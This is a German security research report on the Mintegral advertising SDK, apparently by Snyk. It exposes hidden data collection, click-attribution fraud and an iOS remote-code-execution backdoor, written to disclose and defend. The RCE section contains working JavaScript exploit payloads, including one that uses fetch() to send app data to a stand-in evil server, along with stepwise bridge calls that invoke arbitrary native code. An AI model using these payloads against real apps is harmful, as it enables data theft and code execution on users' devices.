SourMint: Bericht zur Untersuchung des schädlichen SDKs

Überblick

Übermäßige Datenerfassung unter iOS [August 2020]

Remote Code Execution (RCE) unter iOS [Oktober 2020]

Download-Tracking unter Android [Oktober 2020]

Zeitleiste

Überblick

Das Mintegral SDK ist ein beliebtes Werbe-SDK für mobile Apps, das für iOS und Android verfügbar ist. Tausende mobile Apps mit insgesamt über einer Milliarde Downloads pro Monat verwenden es. App-Entwickler nutzen das SDK, um ihre Apps mit Anzeigen von Drittanbietern zu monetarisieren.

Das Snyk-Sicherheitsforschungsteam hat zwei bedeutende Erkenntnisse zum Mintegral SDK veröffentlicht. Die erste Erkenntnis wurde im August 2020 veröffentlicht. Dabei wurden übermäßige Datenerfassung und Click-Hijacking in der iOS-Version des SDK entdeckt. Die zweite Erkenntnis betraf eine in der iOS-Version des SDK gefundene Hintertür, die Remote Code Execution ermöglicht, sowie neue Erkenntnisse zur Android-Version des SDK.

Dieser Artikel soll die technischen Details unserer Untersuchungen und Erkenntnisse vermitteln, die über die Blogbeiträge hinausgehen.

Dieser Bericht ist in drei Abschnitte unterteilt:

• Übermäßige Datenerfassung: Dieser Abschnitt beschreibt die URL- und Request-Tracking-Funktionen der iOS-Version des Mintegral SDK, einschließlich des Abfangens und Protokollierens sämtlicher HTTP-Requests im iOS-SDK. Er wurde ursprünglich am 24. August 2020 veröffentlicht.

• Eine Hintertür in der iOS-Version des SDK ermöglicht Remote Code Execution: Dieser Abschnitt beschreibt die Remote-Code-Execution-Funktionen von MintegralAdSDK, veröffentlicht am 15. Oktober 2020.

• URL-Tracking von Downloads unter Android: Dieser Abschnitt beschreibt verschiedene Erkenntnisse zur Android-Version des Mintegral SDK.

Übermäßige Datenerfassung unter iOS [August 2020]

Überblick

Dieser Teil der Untersuchung wurde anhand der Binärversion des Mintegral iOS SDK durchgeführt, da uns die Open-Source-Version im August 2020 noch nicht zur Verfügung stand. Untersucht wurde Version 6.3.5.0 des SDK (für x86-Architektur), die auf GitHub zum Download bereitsteht.

Wir haben festgestellt, dass die Mintegral-iOS-SDK-Versionen 5.5.1 und höher schädliche Funktionen enthalten, die zum Abfluss von Informationen führen. Vereinfacht gesagt, spioniert das SDK Klicks auf Links sowie Netzwerkaktivitäten innerhalb der betroffenen Apps aus. Die Spionage findet auch dann statt, wenn das SDK vom Entwickler oder der Anzeigenvermittlungsplattform nicht aktiviert wurde. Das SDK versucht, sein schädliches Verhalten zu verbergen, indem es Proxys, Simulatoren und Geräte mit Jailbreak erkennt.

Method Swizzling

Das Mintegral SDK verwendet eine Technik namens Method Swizzling, um die Implementierungen der Methoden UIApplication openURL und SKStoreProductViewController loadProductWithParameters zur Laufzeit zu ersetzen. Außerdem registriert es eine benutzerdefinierte Klasse NSURLProtocol.

Diese Hooks spionieren App-Nutzer aus, indem sie sämtliche Informationen zu HTTP-Requests, geöffneten URLs und App-Store-Links, auf die Nutzer innerhalb der App klicken, übermitteln.

HTTP-Request-Header und URLs können sensible Daten enthalten. Zusammen mit der IDFA (Identifier for Advertisers) ermöglichen diese Daten Mintegral jedoch, Werbe-Attributionsbetrug zu begehen.

Werbe-Attributionsbetrug

Um ihre Anwendungen zu monetarisieren, installieren Entwickler häufig Werbeplattformen. Werbeplattformen erhalten von Werbetreibenden Einnahmen für jede Installation, die nach einem Klick des Nutzers auf ihre Anzeige erfolgt. Nicht selten verwenden Entwickler mehrere Werbeplattformen in ihren Apps. Um festzustellen, welcher Werbeplattform die Installation zugeordnet werden soll, wird jeder Klick bei einem Attributionsanbieter registriert, einer Mobile Measurement Platform (MMP).

Die folgende Abbildung zeigt, wie die schädliche Funktion von Mintegral arbeitet. In diesem Beispiel klickt der Nutzer auf eine Anzeige von „Another Platform“. Da Mintegral jedoch alle von der App geöffneten URLs abfangen kann, kann es zusätzliche Requests an einen Attributionsanbieter senden und vorgeben, der Klick sei auf eine eigene Anzeige erfolgt. Der gesamte Ablauf sieht so aus:

1. Der Nutzer klickt auf einen Link in einer In-App-Anzeige eines nicht zu Mintegral gehörenden Werbenetzwerks, um eine neue App aus dem App Store zu installieren.

2. Das SDK des Werbenetzwerks sendet die Klickinformationen an dessen Backend-Plattform.

3. Nachdem Mintegral das Klickereignis mithilfe von in iOS-Ereignishandler eingeschleustem Code über Method Swizzling abgefangen hat, protokolliert es die Klickdaten auf seinem Server.

4. Das Werbenetzwerk registriert beim Attributionsanbieter eine Klickbenachrichtigung.

5. Mintegral registriert beim Attributionsanbieter ebenfalls eine Klickbenachrichtigung.

Wenn der Attributionsanbieter versucht, das Installationsereignis den registrierten Klickbenachrichtigungen zuzuordnen, findet er zwei passende Benachrichtigungen. Bei einem Last-Touch-Attributionsmodell wird die Klickbenachrichtigung von Mintegral zugeordnet und die Benachrichtigung des anderen Werbenetzwerks abgelehnt.

Snyk hat mit einem großen Attributionsanbieter zusammengearbeitet, um zu bestätigen, dass Mintegral die Klickdaten verwendet, um gefälschte Klickbenachrichtigungen zu generieren. Im Rahmen seiner Untersuchung konnte der Anbieter nachweisen, dass solche gefälschten Benachrichtigungen erzeugt wurden und dazu führten, dass Anzeigenklicks fälschlich Mintegral zugeschrieben wurden.

Demo-App

Um den Angriff zu demonstrieren, haben wir eine Demo-App eingerichtet. Sie zeigt den schädlichen openURL-Hook in Aktion. Mithilfe eines Debugging-Proxys fangen wir den gesamten Netzwerkverkehr ab.

 Zur Initialisierung der App verwenden wir den folgenden Codeausschnitt aus der Mintegral-Dokumentation:

1- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
2    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
3    return YES;
4}

Nachdem das SDK initialisiert ist, öffnen wir example.com in der App, indem wir auf eine Schaltfläche klicken:

1- (IBAction)openURLWithOptions:(id)sender {
2    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
3}

Nach dem Start der App sehen wir in unserem Proxy sofort einige Requests vom Mintegral SDK:

• GET https://setting.rayjump.com/sdk/customid

• GET https://setting.rayjump.com/setting

• POST https://analytics.rayjump.com

Einstellungen

Die Antwort von _https://setting.rayjump.com/setting ist ein JSON-Objekt mit vielen verschiedenen Optionen. Die folgende Tabelle beschreibt die für unsere Untersuchung interessantesten Felder.

* In unserem Fall lautete der Wert LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=. Nach dem Dekodieren ergibt sich https://n.systemlog.me/log.

** In unserem Fall lautete der Wert kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==. Nach dem Dekodieren ergibt sich ["itunes.apple.com","apps.apple.com"].

Dekodierung der Nutzdaten

Nachdem wir auf die Schaltfläche geklickt haben, über die example.com geöffnet wird, sehen wir zwei weitere Requests. Beim ersten handelt es sich erwartungsgemäß um einen GET-Request an http://example.com. Der zweite ist ein POST-Request an https://n.systemlog.me/log.

Der Request-Body sieht base64-kodiert aus. Tatsächlich handelt es sich jedoch nicht um eine base64-kodierte Zeichenfolge. Das Mintegral SDK implementiert eine eigene Kodierungs- und Dekodierungslogik, die sich in +[MTGBase base64DecodeString:] und +[MTGBase base64CleverDecodeString:] findet. Beachten Sie, dass MTGBase nicht in den öffentlichen Headern des SDK offengelegt ist und für Entwickler nicht zugänglich sein soll.

Mit dem folgenden Codeausschnitt dekodieren wir die Nutzdaten:

1Class cls = NSClassFromString(@"MTGBase");
2NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
3NSLog(@"%@", obj);

Die Nutzdaten enthalten zahlreiche Informationen, darunter IDFA, IDFV, Betriebssystemversion und User-Agent. Außerdem gibt es ein Feld namens „clever“, das ebenfalls kodiert ist. Wir können es mit base64DecodeString dekodieren:

1[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Wie Sie sehen, enthält es die URL, den Stack-Trace und einige zusätzliche Informationen, etwa den Controller- und Methodennamen.

Ein genauerer Blick

Wie bereits erwähnt, ist das Mintegral SDK Closed Source. Wir untersuchen Version 6.3.5.0 für die x86-Architektur.

Bei der Binärdatei handelt es sich um eine Mach-O-Datei, die mehrere weitere Binärdateien enthält. Der für uns relevante Code befindet sich in _CXX_CXX_OperationPKTask.o.

Bei der Untersuchung der Klasse sehen wir +[_CXX_CXX_OperationPKTask load], das automatisch ausgeführt wird, sobald die Klasse zur Laufzeit hinzugefügt wird. Wird das SDK also über CocoaPods installiert, wird die schädliche Logik unabhängig davon initialisiert, ob Entwickler das SDK tatsächlich verwenden.

Die Methode load führt eine Reihe von Aufrufen aus, die zu ___cxxwebk_init_vw führen. Diese Methode prüft, ob das Anti-Debugging-Schutzflag aktiviert ist, und initialisiert die Hooks, wenn das Flag auf „false“ gesetzt oder das Debugging deaktiviert ist.

Die Initialisierung der Hooks hängt von der oben erwähnten Einstellungsabfrage ab. Die folgende Tabelle zeigt die Beziehungen zwischen den JSON-Antwortfeldern und der Klasse MTGSetting:

Anti-Debugging-Logik

Die Funktion __cxx_cxx_op_isInSuperViewFrame gibt in den folgenden Fällen true zurück:

• Die Geräteplattform ist ein „Simulator“.

• Ein Debugger ist angehängt (implementiert in ____mvpmvvm_isDebuggerAttached_block_invoke).

• Eine der folgenden Dateien befindet sich auf dem Gerät (Hinweis auf einen Jailbreak):

  • /Applications/Cydia.app

  • /Library/MobileSubstrate/MobileSubstrate.dylib

  • /bin/bash

  • /usr/sbin/sshd

  • /etc/apt

  • /usr/bin/ssh

• Ein Proxy ist aktiviert (ermittelt mithilfe von CFNetworkCopySystemProxySettings).

Method Swizzling für openURL

Die Logik im folgenden Screenshot ist in der Methode ___cxxwebkmcouitninapo implementiert. Sie wird von ___cxxwebk_init_vw aufgerufen, wenn das entsprechende Flag aktiviert ist.

„blog-sour-mint-openurl-method-swirl“ – Der obige Screenshot zeigt die Method-Swizzling-Implementierung. Sie führt die folgenden Aufrufe aus:

1. NSSelectorFromString, um einen Selector für die Methode „openURL:“ abzurufen.

2. NSClassFromString, um einen Klassen-Deskriptor für UIApplication abzurufen.

3. class_getInstanceMethod, um den Methoden-Deskriptor abzurufen.

4. method_getImplementation, um die tatsächliche Implementierung der Methode abzurufen.

5. Anschließend definieren sie einen Codeblock, der _____cxxwebkmcouitninapo_block_invoke_2 und danach das ursprüngliche openURL aufruft.

6. method_setImplementation, um die ursprüngliche openURL-Implementierung durch den Codeblock aus dem vorherigen Schritt zu ersetzen.

Bei der Methode openURL:options:completionHandler: geschieht fast dasselbe. Zuvor wird jedoch die Systemversion geprüft (der Handler wurde erstmals mit iOS 10 eingeführt).

Nun haben wir gesehen, wie der Hook angewendet wird. Als Nächstes sehen wir uns die Implementierung des Hooks selbst an (_____cxxwebkmcouitninapo_block_invoke_2).

Implementierung des openURL-Hooks

Die Implementierung befindet sich in der Methode ___cxxwebkmcoulsz. Dort sehen wir eine weitere Anti-Debugging-Prüfung. Anschließend wird das Flag __mc_notifyInHouse geprüft. Ist es auf 1 gesetzt, wird nichts unternommen.

Damit werden alle Marketing-URLs ignoriert, auf die Nutzer in einer von Mintegral ausgelieferten Anzeige klicken. Der entsprechende Code ist im folgenden Screenshot in +[MTGBase mtgOpenURL:options:completionHandler:] zu sehen:

Der nächste Codeabschnitt zeigt, dass auch die Backtrace-Daten serialisiert und in den Nutzdaten an https://n.systemlog.me/log übertragen werden.

Wir können am Aufruf +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:] einen Breakpoint setzen. Die Aufrufargumente sehen Sie im nächsten Screenshot:

• Die geöffnete URL (http://example.com?foo=bar&x=y).

• Die Klasse, in der der Klick stattfand (ViewController).

• Die Methode, in der der Klick erfolgt ist (openURLWithOptions:).

• Backtrace-Informationen.

Eine weitere interessante Funktion ist _nsh_id_by_cc. Sie scheint dafür zuständig zu sein, konkurrierende SDKs zu identifizieren. Die relevante Logik ist im nächsten Screenshot zu sehen:

Zurück zu +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]: Nachdem die Payload mit +[MTGBase base64EncodeString:] codiert wurde, erstellt die Methode einen neuen Codeblock und verwendet _dispatch_async, um ihn aufzurufen.

Darauf folgt eine Reihe von Aufrufen mit weiteren Payload-Transformationen. Am Ende steht -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], das eine POST-Anfrage an collectDomainUrl aus MTGSetting sendet. Standardmäßig lautet die URL https://n.systemlog.me/log.

Ein Video, das zeigt, wie eine private URL offengelegt werden kann.

Play Video: A demonstration of the SourMint Malicious SDK from Mintegral

SKStoreProductViewController-Hook

SKStoreProductViewController ist ein View-Controller, der eine Seite bereitstellt, auf der Nutzer Medien im App Store kaufen können.

Die Methode loadProductWithParameters:completionBlock: lädt einen neuen Produktbildschirm zur Anzeige.

Statt die technischen Details der Hook-Implementierung zu erläutern, haben wir den folgenden Codeausschnitt zur Demo-Anwendung hinzugefügt:

1- (IBAction)openSKStoreProductViewController:(id)sender {
2    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
3    [storeViewController setDelegate:self];
4    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
5    [storeViewController loadProductWithParameters:productParams completionBlock:nil];
6

Als Ergebnis sehen wir eine POST-Anfrage an https://n.systemlog.me/log mit der folgenden Payload im Feld „clever“:

1[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}] 

Wie zu sehen ist, befindet sich die Produkt-ID in der Anfrage. Damit ist es bewiesen.

NSURLProtocol-Hook

Die Klasse NSURLProtocol ermöglicht Entwicklern, die Funktionsweise von Apples URL-Ladesystem neu zu definieren. Das Mintegral SDK registriert eine schädliche Implementierung von NSURLProtocol, die sich aus der Ferne so konfigurieren lässt, dass sie alle ausgehenden Anfragen einer Anwendung abfängt und URLs sowie HTTP-Header wie den Authorization-Header protokolliert.

Für Anwendungsentwickler bedeutet das, dass Mintegral möglicherweise API-Tokens, Cookies und Header für die einfache Authentifizierung erfassen kann.

Um zu verstehen, wie das SDK diesen Teil des schädlichen Codes aktiviert, müssen wir uns ___cxxwebk_init_vw noch einmal ansehen.

Der obige Screenshot zeigt, dass das cud-Flag aktiviert und das cudl-Array nicht leer sein muss, damit der Hook aktiviert wird.

Der folgende Screenshot zeigt einen Teil der Funktion ___cxxwebkterisiuuxx, die von der oben gezeigten Methode aufgerufen wird.

Der Code in der Funktion ___cxxwebkterisiuuxx führt folgende Aktionen aus:

1. Erstellt eine von NSURLProtocol abgeleitete Klasse (objc_registerClassPair, objc_allocateClassPair).

2. Fügt eine Implementierung für canInitWithRequest: hinzu, die als Interceptor fungiert (class_addMethod).

3. Ruft +[NSURLProtocol registerClass:] auf, um die Klasse beim URL-Ladesystem zu registrieren.

Im Rahmen unserer Untersuchung haben wir den folgenden Codeausschnitt hinzugefügt, um zu überprüfen, welche Daten der schädliche Code erfasst:

1- (IBAction)httpRequestWithURLSession:(id)sender {
2    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
3    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
4    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
5    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
6    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
7    req.HTTPMethod = @"POST";
8    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
9    [task resume];
10}

Als Ergebnis sehen wir eine POST-Anfrage an https://n.systemlog.me/log mit der folgenden Payload im Feld „clever“:

1[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

In der Anfrage sind die URL und der Authorization-Header zu sehen. Der Anfragekörper ist zwar nicht enthalten, doch Header enthalten häufig vertrauliche Daten. Dazu können sogar personenbezogene Daten gehören. Wenn eine API beispielsweise JWT-Tokens verwendet, können E-Mail-Adressen oder Benutzernamen im Token gespeichert sein.

Fazit

Während unserer Untersuchung haben wir zahlreiche interessante Techniken beobachtet, mit denen Mintegral-Entwickler das schädliche Verhalten ihres SDKs verschleiern. Wie zu sehen ist, aktivieren sie Hooks nur in bestimmten Anwendungen und Regionen. Dadurch blieb der schädliche Code über ein Jahr lang unentdeckt.

Zum zeitlichen Verlauf: Die erste Version (5.5.1) des schädlichen SDK wurde am 17. Juli 2019 veröffentlicht. Wir stellten fest, dass alle nachfolgenden Versionen dieselbe schädliche Funktionalität enthielten.

Viele beliebte Anwendungen waren von den schädlichen Aktivitäten dieses SDK betroffen. Wir hoffen, dass diese Untersuchung Licht auf die Situation wirft und künftig zu einer genaueren Prüfung von Werbenetzwerken sowie zu besseren Datenschutzkontrollen führt.

Remote Code Execution (RCE) unter iOS [Oktober 2020]

Kurzfassung

Wir haben die Klasse MTGBaseBridgeWebView entdeckt, die im gesamten SDK zur Kommunikation mit JavaScript verwendet wird. Sie fungiert als Hintertür und ermöglicht den Aufruf beliebiger Funktionen im nativen Anwendungscode.

Die Abbildung oben zeigt ein vereinfachtes Schema der Remote Code Execution in Aktion.

Diff-Analyse

Nach unserer ersten öffentlichen Offenlegung kündigte Mintegral die Veröffentlichung einer Open-Source-Version des SDK an.

Wir verglichen daraufhin die neue Open-Source-Version mit der zuvor als CocoaPod vertriebenen Binärversion. Obwohl uns der Quellcode der älteren Version nicht vorlag, konnten wir die Klassennamen vergleichen. Dazu extrahierten wir die .o-Dateien aus den Binärdateien und verglichen die Symbole mit den .h-Dateien der Open-Source-Version.

Wie erwartet wurde die zuvor entdeckte schädliche Komponente _CXX_CXX_OperationPKTask tatsächlich entfernt. Beim Vergleich stießen wir jedoch auf etwas anderes. Die folgenden Klassen fielen uns auf:

• MTGCommandDispatcher

• MTGComponentCommands

• MTGRemoteCommand

• MTGRemoteCommandParameterModel

• MTGRemoteCommandParser

• MTGInvocationBoxing

Wir beschlossen, die Binärdateien genauer zu untersuchen, um herauszufinden, wofür diese Dateien verwendet wurden.

Betroffene Versionen

Alle Versionen von MintegralAdSDK bis einschließlich 6.5.0.0. Die am 10. September 2020 veröffentlichte Version 6.6.0.0 enthält nicht die in diesem Beitrag beschriebene Hintertür-Funktionalität.

Die Bridge-Implementierung

Wir begannen damit, zu untersuchen, wo die Klasse MTGRemoteCommandParser verwendet wird, und fanden nur eine Stelle: -(void)handleNativeObject:parameters: in der Klasse MTGBaseBridgeWebView.

Anhand der Implementierung sehen wir, dass -(void)handleNativeObject:parameters: MTGRemoteCommandParser verwendet, um das Argument parameters zu analysieren, und die Methode -(void)dispatchCommand:feedback: in der Klasse MTGCommandDispatcher aufruft.

Auf den ersten Blick scheint -(void)handleNativeObject:parameters: nicht verwendet zu werden. Das ist jedoch nicht der Fall. Sehen wir uns an, wie der Aufruf aus JavaScript-Code erfolgen kann.

MTGBaseBridgeWebView implementiert die Methode -(void)webView:decidePolicyForNavigationAction:decisionHandler: des Protokolls WKNavigationDelegate. Diese Methode wird bei jeder Navigation in der Web-View aufgerufen. Das bedeutet, dass wir sie direkt aus JavaScript auslösen können, indem wir einfach location.href=something aufrufen. In der Open-Source-Version des SDK fanden wir einen regulären Ausdruck, der Navigationsanfrage-URLs analysiert: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

-(void)callFunctionWithName:fucId:param: führt im obigen Screenshot einfach einen Aufruf von self mit dem Selector fucName aus.

Um also -(void)handleNativeObject:parameters: von MTGBaseBridgeWebView aufzurufen, benötigen wir die folgende JavaScript-Codezeile: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Beachten Sie, dass alles oben Beschriebene zum Zeitpunkt der Erstellung dieses Beitrags auch für die neueste SDK-Version sowie für die Open-Source-Version des SDK gilt. Die einzige Ausnahme: -(void)handleNativeObject:parameters: wurde aus den neuesten Releases entfernt.

Aufruf entfernter Methoden

Wir beschreiben nicht die vollständige Implementierung von MTGInvocationBoxing und den anderen Klassen. Stattdessen zeigen wir, wie sich schädlicher JavaScript-Code erstellen lässt, um die entfernte Methode aufzurufen.

Der folgende Proof of Concept greift eine Anwendung für „einfache Notizen“ an, die eine Klasse NoteRepository mit den beiden Methoden +(void)save: und +(NSString*)load enthält.

Wir schleusen den schädlichen JavaScript-Code ein, indem wir den Mintegral-Server durch unsere eigene Serverimplementierung ersetzen. Den vollständigen Quellcode dieser Anwendung und des Servers finden Sie hier.

Der schädliche JavaScript-Code für diese Anwendung lautet:

1window.WindVane = {
2     onSuccess: function (_, data) {
3         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
4     }
5 };
6
7location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Dieser Code ruft die Methode +(NSString*)load der Klasse NoteRepository auf und sendet das Ergebnis an unseren Endpunkt demo-evil-server.com/log.

Der Code verwendet dieselben Verschleierungstechniken wie im vorherigen Abschnitt beschrieben. Der Proof of Concept enthält jedoch bereits JavaScript-Code zum Codieren und Dekodieren (siehe banner.html).

Vollständige Remote Code Execution (RCE) erlangen

Im obigen Beispiel haben wir gesehen, wie sich das SDK verwenden lässt, um beliebige statische Methoden beliebiger Klassen aufzurufen. In diesem Abschnitt zeigen wir, wie sich damit beliebiger nativer Code ausführen lässt.

Zur Veranschaulichung zeigen wir, wie sich ein UIAlertController mit der Meldung „PWNED!“ erstellen lässt.

Sehen wir uns als Referenz den folgenden Objective-C-Code an:

1UIAlertController *alert = [[UIAlertController alloc] init];
2[alert setMessage:@"PWNED!"];
3[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Wir müssen herausfinden, wie wir eine Instanz von UIAlertController erstellen und zwischen Aufrufen beibehalten, eine gemeinsame Anwendungsinstanz abrufen und presentViewController:animated:completion: mit dieser Instanz aufrufen können.

Schritt 1: Referenz auf die Klasse UIAlertController speichern

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
4    'parameters': [
5        {
6            'type': 1,
7            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
8        },
9        {'type': 2, 'value': 'a' }
10    ]
11});

Der MTGRemoteCommandParser unterstützt zwei Arten von Objektreferenzen:

• static – ruft anhand des Namens eine Referenz auf ein Klassenobjekt ab.

• singleton – führt mehrere Schritte aus:

  1. Ruft eine Klasse anhand ihres Namens ab (in unserem Beispiel MTGSetting).

  2. Führt die Methode sharedInstance für die Klasse aus. In Objective-C: [MTGSetting sharedInstance].

  3. Verwendet valueForKey:, um durch Punkte getrennte Eigenschaften abzurufen. In unserem Fall ist das [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Beachten Sie, dass jsonTitles lediglich eine Instanz von NSMutableDictionary ist. Im Exploit dient sie als temporärer Speicher für unsere Referenzen. Der MTGRemoteCommandParser unterstützt die folgenden Parametertypen:

• 0 – Zahl.

• 1 – Referenz.

• 2 – Zeichenfolge.

• 4 – nil.

Mit dem Referenztyp (1) können wir eine Objektreferenz als Argument einer Methode übergeben. Wichtig ist, dass uniqueIdentifier genau wie ein uniqueIdentifier der obersten Ebene analysiert wird – daher wird auch der Typ singleton unterstützt.

Schritt 2: Neue Instanz der Klasse UIAlertController erstellen

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
4    'parameters': [
5        {
6            'type': 1,
7            // singleton_MTGSetting.jsonTitles.a.alloc.init
8            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
9        },
10        {'type': 2, 'value': 'b'}
11    ]
12});

In diesem Fall steckt die ganze Magie in singleton_MTGSetting.jsonTitles.a.alloc.init. Wie wir bereits wissen, liefert singleton_MTGSetting.jsonTitles.a eine Referenz auf die Klasse UIAlertController. Wir müssen jedoch noch herausfinden, warum [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"] funktioniert. In der Dokumentation zu valueForKey: erfahren wir:

Das Suchmuster, mit dem valueForKey: den zurückzugebenden Wert findet, wird unter Accessor Search Patterns im Key-Value Coding Programming Guide beschrieben.

Wir haben herausgefunden, dass valueForKey: eine beliebige Methode anhand ihres Namens aufrufen kann, wenn sie keine Argumente erwartet.

Damit können wir nun eine neue Instanz der Klasse UIAlertController erstellen, auf die über die Eigenschaft b des Wörterbuchs jsonTitles verwiesen wird.

Schritt 3: Meldung „PWNED!“ festlegen

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
3    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
4    'parameters': [{'type': 2, 'value': 'PWNED!'}]
5});

Dieser Schritt ist ziemlich offensichtlich: Wir rufen setMessage: für die Instanz von UIAlertController auf, um die Meldung PWNED! festzulegen.

Schritt 4: Referenz auf die Klasse UIApplication speichern

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
4    'parameters': [
5        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
6        {'type': 2, 'value': 'x' }
7    ]
8});

Dieser Schritt ähnelt Schritt 1. Wir müssen die Klassenreferenz von UIApplication in jsonTitles.x speichern.

Schritt 5: Meldung anzeigen

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
3    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
4    // presentViewController:animated:completion:
5    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
6    'parameters': [
7        {
8            'type': 1,
9            // singleton_MTGSetting.jsonTitles.b
10            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
11        },
12        {'type': 0, 'value': 1},
13        {'type': 4} // nil
14    ]
15});

Dieser Schritt wirkt kompliziert, nutzt aber lediglich verschiedene Techniken aus den vorherigen Schritten. In Objective-C sieht der Code so aus:

1[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
2    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
3    animated: 1
4    completion: nil
5];

Damit haben wir gezeigt, wie sich mithilfe von Remote Code Execution eine Meldung anzeigen lässt. Die vollständige Payload finden Sie hier. Um die Schritte nacheinander aufzurufen, haben wir ein Aktions-Array erstellt und jede Aktion im Callback window.WindVane.onSuccess ausgeführt (jeweils nach Abschluss der vorherigen Aktion).

Ein Video zeigt, wie sich Inhalte der Zwischenablage durch die Auslieferung des Exploits über eine bösartige Anzeige auslesen lassen.

Play Video: Remote Code Execution using Mintegral's MTGInvocationBoxing

Quelle des JavaScript-Exploits

Wir haben bereits gesehen, wie das Mintegral-SDK über JavaScript-Code die native Remote-Codeausführung ermöglicht. Dieser JavaScript-Code liegt jedoch vollständig in der Hand von Mintegral. Interessanterweise lässt sich dasselbe aber auch mit interaktiven Anzeigen erreichen, die von den Werbetreibenden selbst erstellt wurden. Bei den Anzeigen handelt es sich um JavaScript-basierte Webseiten.

